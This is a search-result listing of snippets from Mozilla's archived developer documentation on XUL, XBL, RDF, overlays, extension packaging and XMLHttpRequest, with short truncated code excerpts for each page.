there are three changes you must make: you have to change the html file's extension to be .xhtml the doctype must be defined point to a dtd file in your locale folder such as: <!doctype html system "chrome://l10n/locale/mozilla.dtd"> must add xmlns attribute to html tag for example: <html xmlns="http://www.w3.org/1999/xhtml"> if you have multiple dtd files read on here: using multiple dtds the bare minimum needed is: file: install.rdf file: chrome.manifest file: bootstrap.js folder: locale folder: valid_locale_here file: anything.dtd the chrome.manifest file must include a definition for content fo...
Customizing the download progress bar - Archive of obsolete content
in your jar.mn file, add the following (replacing "myextension" with the name of your extension's chrome package): % overlay chrome://mozapps/content/downloads/downloads.xul chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so that it will be preprocessed.
File I/O - Archive of obsolete content
var file = url.queryinterface(components.interfaces.nsifileurl).file; // file is a nsifile to load from file://, http://, chrome://, resource:// and other urls directly, use xmlhttprequest or netutil.asyncfetch().
Examples and demos from articles - Archive of obsolete content
xml to json conversion snippets (jxon) jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
IsDefaultNamespace - Archive of obsolete content
namespace(namespaceuri); } switch (node.nodetype) { case 1: // element_node if (!node.prefix) { return (node.namespaceuri === namespaceuri); } if (node.attributes.length) { for (var i=0; i < node.attributes.length; i++) { var att = node.attributes[i]; if (att.localname === 'xmlns') { return att.value === namespaceuri; } } } if (node.parentnode) { // entityreferences may have to be skipped to get to it return isdefaultnamespace(node.parentnode, namespaceuri); } else { return false; // unknown; } case 9...
Post data to window - Archive of obsolete content
need more elaborate examples, examples of displaying the response in a new tab, in background tabs, and a link to using xmlhttprequest for post requests.
Rosetta - Archive of obsolete content
"" : odicts[smimetype](oscript.text); obaton.parentnode.insertbefore(ocompiled, obaton); } function reqerror (oerror) { throw new urierror("the script " + oerror.target.src + " is not accessible."); } function reqsuccess () { createscript(this.refscript, this); } function getsource (oscript) { var oreq = new xmlhttprequest(); oreq.onload = reqsuccess; oreq.onerror = reqerror; oreq.refscript = oscript; oreq.open("get", oscript.src, true); oreq.send(null); } function parsescript (oscript) { if (oscript.hasattribute("type") && !rignoremimes.test(oscript.getattribute("type").tolowercase())) { oscript.hasattribute("src") ?
SVG General - Archive of obsolete content
svg template here is a basic markup template to start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents.
Scrollbar - Archive of obsolete content
example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Deploying a Plugin as an Extension - Archive of obsolete content
here's what a basic install.rdf file looks like: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>rhapsodyplayerengine@rhapsody.com</em:id> <em:name>rhapsody player engine</em:name> <em:version>1.0.0.487</em:version> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:i...
Displaying web content in an extension without security issues - Archive of obsolete content
so in the simplest case you would have: <iframe type="content" src="data:text/html,%3chtml%3e%3cbody%3e%3c/body%3e%3c/html%3e"/> but usually you don’t want to start with an empty document, you would rather want to load some template into the frame: var request = new xmlhttprequest(); request.open("get", "chrome://foo/content/template.html", false); request.send(null); frame.setattribute("src", "data:text/html," + encodeuricomponent(request.responsetext)); that way you can have the template in your extension but still strip it off all privileges when it is loaded in a frame.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website.
Jetpack Processes - Archive of obsolete content
these arbitrary properties are the primary means through which context can be provided for messages; for instance, if the handle is meant to represent a network request, an xmlhttprequest instance can be attached to the handle on the chrome process.
Offering a context menu for form controls - Archive of obsolete content
<overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://formcontrolcontextmenu/content/overlay.js"/> </overlay> change the right-click behavior the overlaid code is responsible for adjusting the behavior of right-clicking on form controls.
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
listing 1: calling xpcom functions using xpconnect <?xml version="1.0" encoding="utf-8"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"><![cdata[ var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); alert(ioservice); ]]></script> </page> calling xpconnect using local files try saving th...
Adding Events and Commands - Archive of obsolete content
another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior.
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
<overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" oncommand="xulschoolchrome.browseroverlay.dosomething(eve...
Adding sidebars - Archive of obsolete content
it should be evident at this point that hand-coding a tree would take quite some time and yields a great deal of xml code that is hard to follow.
Adding windows and dialogs - Archive of obsolete content
<dialog id="xulschoolhello-hello-dialog" title="&xulschoolhello.hellodialog.title;" buttons="accept,cancel" ondialogaccept="return xulschoolchrome.hellodialog.accept();" ondialogcancel="return xulschoolchrome.hellodialog.cancel();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> carefully read the specification of the dialog element.
Appendix A: Add-on Performance - Archive of obsolete content
never use xmlhttprequest in synchronous mode.
Appendix F: Monitoring DOM changes - Archive of obsolete content
network listeners ajax-based page changes are almost universally tied to xmlhttprequests.
Handling Preferences - Archive of obsolete content
in the past we have used this directory to store xslt files for xml transformations and local storage template files (more on this later).
XPCOM Objects - Archive of obsolete content
on top of it lies the chrome, mostly written in xml, javascript and css.
Performance best practices in extensions - Archive of obsolete content
never use synchronous xmlhttprequests.
Supporting search suggestions in search plugins - Archive of obsolete content
if you don't specify a query url, the default query is used based on the search described by the <url> element in the search plugin's xml description.
Tabbed browser - Archive of obsolete content
for example: var num = gbrowser.browsers.length; for (var i = 0; i < num; i++) { var b = gbrowser.getbrowseratindex(i); try { dump(b.currenturi.spec); // dump urls of all open tabs to console } catch(e) { components.utils.reporterror(e); } } to learn what methods are available for <browser/> and <tabbrowser/> elements, use dom inspector or look in browser.xml for corresponding xbl bindings (or just look at the current reference pages on browser and tabbrowser.
Beginner tutorials - Archive of obsolete content
this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces.
CSS3 - Archive of obsolete content
css namespaces module recommendation since september 29th, 2011 adds the support for the xml namespaces by defining the notion of css qualified name, using the ' | ' syntax and adding the @namespace css at-rule.
List of Former Mozilla-Based Applications - Archive of obsolete content
aol client for mac internet software no longer available beonex communicator internet software last news item on site from 2004 chameleon theme builder inactive civil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compuserve client internet software no longer available doczilla sgml/xml/html browser last release on site from july 2005 fabula language learning application inactive galeon browser last news item on site from september 2006 gencatrss rss reader domain switched over to domain parking service ghostzilla browser archived version of ghostzilla site from 2005 homebase desktop operating environment...
MMgc - Archive of obsolete content
sample stack trace: xmlclass.cpp:391 toplevel.cpp:164 toplevel.cpp:507 interpreter.cpp:1098 interpreter.cpp:20 methodenv.cpp:47 allocation traces, deletion traces etc.
Same-origin policy for file: URIs - Archive of obsolete content
this policy affects anything that does same-origin checks, including xmlhttprequest, xslt, and xbl.
Source code directories overview - Archive of obsolete content
parser contains the html parser and the xml parser (expat.).
Bookmark Keywords - Archive of obsolete content
thus we could type any of the following into the address bar and get back useful results: <tt>google geitost</tt> <tt>google mozilla keyword bookmark</tt> <tt>google bookmark site:developer.netscape.com</tt> <tt>google netscape xml support -site:netscape.com</tt> a few examples in the course of writing this article, a number of potentially useful bookmarks were considered as possible examples.
Structure of an installable bundle - Archive of obsolete content
/searchplugins/*.xml mozsearch and opensearch plugins firefox 2 and greater /dictionaries/*.{aff|dic} myspell dictionaries firefox 2 and greater of course, an extension need not (and normally won't) have all of these directories.
Enabling the behavior - updating the status bar panel - Archive of obsolete content
function updatetinderboxstatus() { var icon = document.getelementbyid('tinderbox-status'); if (gxmlhttprequest.responsetext.match("ee0000")) icon.setattribute("status", "busted"); else if (gxmlhttprequest.responsetext.match("ffaa00")) icon.setattribute("status", "testfailed"); else if (gxmlhttprequest.responsetext.match("11dd11")) icon.setattribute("status", "success"); else icon.setattribute("status", ""); } updatetinderboxstatus() retrieves a reference to the statusbarpanel element then searches through the retrieved html document (stored in the responsetext property of the xmlhttprequest instance) for one of several color references.
Enabling the behavior - updating the status periodically - Archive of obsolete content
function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time.
Finding the file to modify - Archive of obsolete content
xul, which is short for xml-based user interface language (and is pronounced like "zool"), is an xml-based language specifically designed for describing application interfaces.
Specifying the appearance - Archive of obsolete content
busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
Getting Started - Archive of obsolete content
this file is a small xml database that describes the skin.
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>author@oftheme.com</em:id> <em:version>2.0b1</em:version> <!-- seamonkey --> <em:targetapplication> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0b1pre</em:minversion> <em:maxversion>2.0b2pre</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my_theme</em:name> <em:description>my first theme</em:description> <!-- front end integration hooks (used by ...
Creating a hybrid CD - Archive of obsolete content
ext file" install ascii 'moss' 'text' "text file" license ascii 'moss' 'text' "text file" .gif raw 'ogle' 'giff' "gif file" .png raw 'ogle' 'png ' "png file" .jpg raw 'ogle' 'jpeg' "jpeg file" .jpeg raw 'ogle' 'jpeg' "jpeg file" .pl ascii 'mcpl' 'text' "perl file" .pm ascii 'mcpl' 'text' "perl module file" .xml ascii 'r*ch' 'text' "xml file" .xul ascii 'r*ch' 'text' "xul file" .xbl ascii 'r*ch' 'text' "xbl file" .css ascii 'r*ch' 'text' "css file" .dtd ascii 'r*ch' 'text' "dtd file" .js ascii 'r*ch' 'text' "javascript file" .mp3 raw 'tvod' 'mpg3' "mpeg file" .mpg raw 'tvod' 'mpeg' "mpeg file" .mpeg raw 't...
Getting Started - Archive of obsolete content
this file is a small xml database which is used to describe the skin.
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource=...
Drag and Drop Example - Archive of obsolete content
the final code is shown below: <window title="widget dragger" id="test-window" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <script src="chrome://global/content/nsdraganddrop.js"/> <script src="chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> <stack id="board" style="width:300px; height: 300px; max-width: 300px; max-height: 300px" ondragover="nsdraganddrop.dragover(event, boardobserver)" ondragdrop=...
Me - Archive of obsolete content
ArchiveMozillaJetpackMetaMe
onfirstrun() may be called anywhere in your jetpack, but if it is called as the result of some asynchronous operation such as a timeout or xmlhttprequest, it is ignored.
Priority Content - Archive of obsolete content
book length works in progress: netscape gecko plugin api reference 1.0 original: netscape gecko plugin api reference 1.0 wiki location: gecko plugin api reference migrators: started: core javascript reference 1.5 original: core javascript reference 1.5 wiki location: core javascript 1.5 reference migrators: deb richardson in progress: transforming xml: netscape and xslt 1.0 original: transforming xml: netscape and xslt 1.0 wiki location: transforming xml with xslt migrators: serge k.
New Skin Notes - Archive of obsolete content
there's no real reason for user to give him info that he already visited xml main page.
Same origin policy for XBL - Archive of obsolete content
determining the originating principal the principal originating the load is determined using the following steps: for external stylesheets (<link>, <?xml-stylesheet?>, user sheets, and ua sheets), it depends on where the sheet is loaded from, just like it would for an html document loaded from a similar source.
Table Layout Regression Tests - Archive of obsolete content
their name is generated by replacing the old extension .html or .xml with .rgd.
URIScheme - Archive of obsolete content
moz-icon://.ext?size=32 : you can replace ext by your some file extension like js, css, xul, xml, etc.
Venkman Introduction - Archive of obsolete content
icon file type .js .html, .htm .xul .xml all other files javascript function figure 6.
Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial...
Binding Implementations - Archive of obsolete content
the methods and properties of an implementation can be defined declaratively using method and property tags in xml, or an external implementation (e.g., a binary implementation) can be specified using the src attribute.
XPInstall - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> cross-platform install (xpinstall) is a technology used by mozilla application suite, mozilla firefox, mozilla thunderbird and other xul-based applications for installing ex...
Extending Gecko with XBL and XTF - Archive of obsolete content
presentation view online download summary this session explored ways to extend mozilla/firefox to handle new xml tags and namespaces via drop-in extensions to the layout engine.
XTech 2006 Presentations - Archive of obsolete content
etna, a wysiwyg xml relax ng- and gecko-based editor - daniel glazman this presentation describes etna, a new wysiwyg xml editor based on gecko, the relax ng parser and validator disruptive innovations implemented for it and its query api, and relax ng extensions that were necessary to solve very old and well known problems in markup languages.
datasources - Archive of obsolete content
for xml datasources, only one source is used, either the url of an xml file or an anchor reference to another element within the same document.
expr - Archive of obsolete content
ArchiveMozillaXULAttributeexpr
« xul reference home expr type: string for xml queries, an xpath expression which returns results.
onchange - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </...
querytype - Archive of obsolete content
firefox 3 provides 3 built-in datasources: 'rdf', default, 'xml' and 'storage'.
sort - Archive of obsolete content
ArchiveMozillaXULAttributesort
« xul reference home sort type: uri or xml attribute set this to a rdf property or xml attribute to have the data in the column sorted based on that property.
International characters in XUL JavaScript - Archive of obsolete content
otherwise, the character encoding will be the same as the one used by the xul file (which can be specified using an encoding attribute in the <?xml?> tag).
List of commands - Archive of obsolete content
u...rceoverlay.xul http://lxr.mozilla.org/seamonkey/sou...extoverlay.xul http://lxr.mozilla.org/seamonkey/sou...lityoverlay.js http://lxr.mozilla.org/seamonkey/sou...oomoverlay.xul http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...ark.properties http://lxr.mozilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seamonkey/sou...rksoverlay.xul http://lxr.mozilla.org/seamonkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile bro...
Panels - Archive of obsolete content
<?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="details" type="panel"> <panel id="search-panel"> <label control="name" value="name:"/> <textbox id="name"/> </panel> </button> </window> many panels will be associated with a button, as in this example.
controllers - Archive of obsolete content
example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ l...
Sorting and filtering a custom tree view - Archive of obsolete content
sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <tex...
Additional Navigation - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:r="http://www.xulplanet.com/rdf/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/ca...
Containment Properties - Archive of obsolete content
the only difference between this and the previous example is a a couple of additional lines added to the rdf/xml: <rdf:seq rdf:about="http://www.xulplanet.com/rdf/a"> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/e"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/f"/> </rdf:seq> the effect is that there are five results instead of three.
Filtering - Archive of obsolete content
in rdf/xml, a syntax shortcut may be used which involves replacing the description tag with the type.
Rule Compilation - Archive of obsolete content
for rdf and xml, the query contains a set of instructions for navigating through the rdf graph or xml document tree.
SQLite Templates - Archive of obsolete content
as with xml datasources, the ref attribute isn't currently used for sqlite sources, so you should just set the ref attribute to a dummy value; '*' is typically used.
Simple Example - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> ...
Special Condition Tests - Archive of obsolete content
here is a previous example, rewritten to use the parent matching syntax: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <rule parent="vbox"> <action> <groupbox uri="?"> <caption label="?name"/> </groupbox> </action> </rule> <rule> <action> <label uri="?" value="?name"/> </action> </rule> </template> </vbox> previously, an assign element was used to assign the tagname of the resu...
Template Builder Interface - Archive of obsolete content
this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html:div> this example generates three paragraphs.
textbox (Toolkit autocomplete) - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </...
Textbox (XPFE autocomplete) - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </...
Adding Buttons - Archive of obsolete content
the code to add is shown in red below: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button id="find-button" label="find"/> <button id="cancel-button" label="cancel"/> </window> you'll notice that the cancel button was added also.
Advanced Rules - Archive of obsolete content
let's say you have a list of cities described in the following rdf/xml fragment: <rdf:seq about="http://www.xulplanet.com/rdf/weather/cities"> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/paris"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/manchester"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/melbourne"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/kiev"/> </rdf:seq> <rdf:description about=...
Box Model Details - Archive of obsolete content
a find text dialog example 5 : source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findtext" title="find text" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox flex="3"> <label control="t1" value="search text:"/> <textbox id="t1" style="min-width: 100px;" flex="1"/> </vbox> <vbox style="min-width: 150px;" flex="1" a...
Commands - Archive of obsolete content
<window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cm...
Cross Package Overlays - Archive of obsolete content
our foverlay.xul example source <?xml version="1.0"?> <overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbox id="browser-toolbox"> <toolbar id="findfile_toolbar"> <label control="findfile_filename" value="search for files named:"/> <textbox id="findfile_filename"/> <label control="findfile_dir" value="directory:"/> <textbox id="findfile_dir"/> <button label="browse..."/> ...
Custom Tree Views - Archive of obsolete content
example custom tree source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window title="tree example" id="tree-window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="setview();"> <script> //moz 1.8 var treeview = { rowcount : 10000, getcelltext : function(row,column){ if (column.id == "namecol") return "row "+row; else return "febr...
Features of a Window - Archive of obsolete content
<window id="findfile-window" title="find files" width="400" height="450" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> in this example, the window will open with a width of 400 pixels and a height of 450 pixels.
Focus and Selection - Archive of obsolete content
example 3 : source view <window id="focus-example" title="focus example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init(){ addeventlistener("focus",setfocusedelement,true); } function setfocusedelement(){ var focused = document.commanddispatcher.focusedelement; document.getelementbyid("focused").value = focused.tagname; } </script> <hbox> <label control="username" value="user name:"/> <textbox id="username"/> </h...
Keyboard Shortcuts - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <keyset> <key id="cut_cmd" modifiers="accel" key="x"/> <key id="copy_cmd" modifiers="accel" key="c"/> <key id="paste_cmd" modifiers="accel" key="v"/> <key id="close_cmd" keycode="vk_escape" oncommand="window.close();"/> </keyset> <vbox flex="1"> <toolbox> <menubar id="findf...
More Wizards - Archive of obsolete content
wizard example source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode();...
Open and Save Dialogs - Archive of obsolete content
you can also use filterxml and filterxul to filter for xml and xul files respectively.
Persistent Data - Archive of obsolete content
<window id="findfile-window" title="find files" persist="screenx screeny width height" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this will cause the x and y position of the window and the width and height of the window to be saved.
Progress Meters - Archive of obsolete content
xmlns:html="http://www.w3.org/1999/xhtml" the example so far.
RDF Datasources - Archive of obsolete content
example 3 : source view <window id="example-window" title="history list" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="click here to see the mammals the zoo has" type="menu" datasources="animals.rdf" ref="http://www.some-fictitious-zoo.com/mammals"> <template> <rule animals:specimens="0"></rule> <rule> <menupopup> <menuitem uri="rdf:*" label="...
Templates - Archive of obsolete content
rule example the following example demonstrates the earlier example with two rules: example 4 : source <window id="example-window" title="bookmarks list" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox datasources="rdf:bookmarks" ref="nc:bookmarksroot" flex="1"> <template> <rule rdf:type="http://home.netscape.com/nc-rdf#bookmarkseparator"> <spacer uri="rdf:*" height="16"/> </rule> <rule> <butt...
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
if you do, you might store the data in an array or javascript data structure, or load the data from an xml file.
XBL Inheritance - Archive of obsolete content
example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element.
XUL Tutorial - Archive of obsolete content
this tutorial describes xul, the xml user-interface language.
Using the Editor from XUL - Archive of obsolete content
you can find the relevant xul parts in editor.xul, the javascript parts in editor.js, and the xbl binding for the editor element in editor.xml.
XUL FAQ - Archive of obsolete content
the recommended way is to edit xul by hand, possibly with the help of a good text or xml editor.
XUL Event Propagation - Archive of obsolete content
the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="background-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu...
colorpicker - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </...
dialog - Archive of obsolete content
skeyextra2, buttonaccesskeyhelp, buttonalign, buttondir, buttondisabledaccept, buttonlabelaccept, buttonlabelcancel, buttonlabeldisclosure, buttonlabelextra1, buttonlabelextra2, buttonlabelhelp, buttonorient, buttonpack, buttons, defaultbutton, title properties buttons, defaultbutton methods acceptdialog, canceldialog, centerwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" buttonlabelcancel="cancel" buttonlabelaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> ...
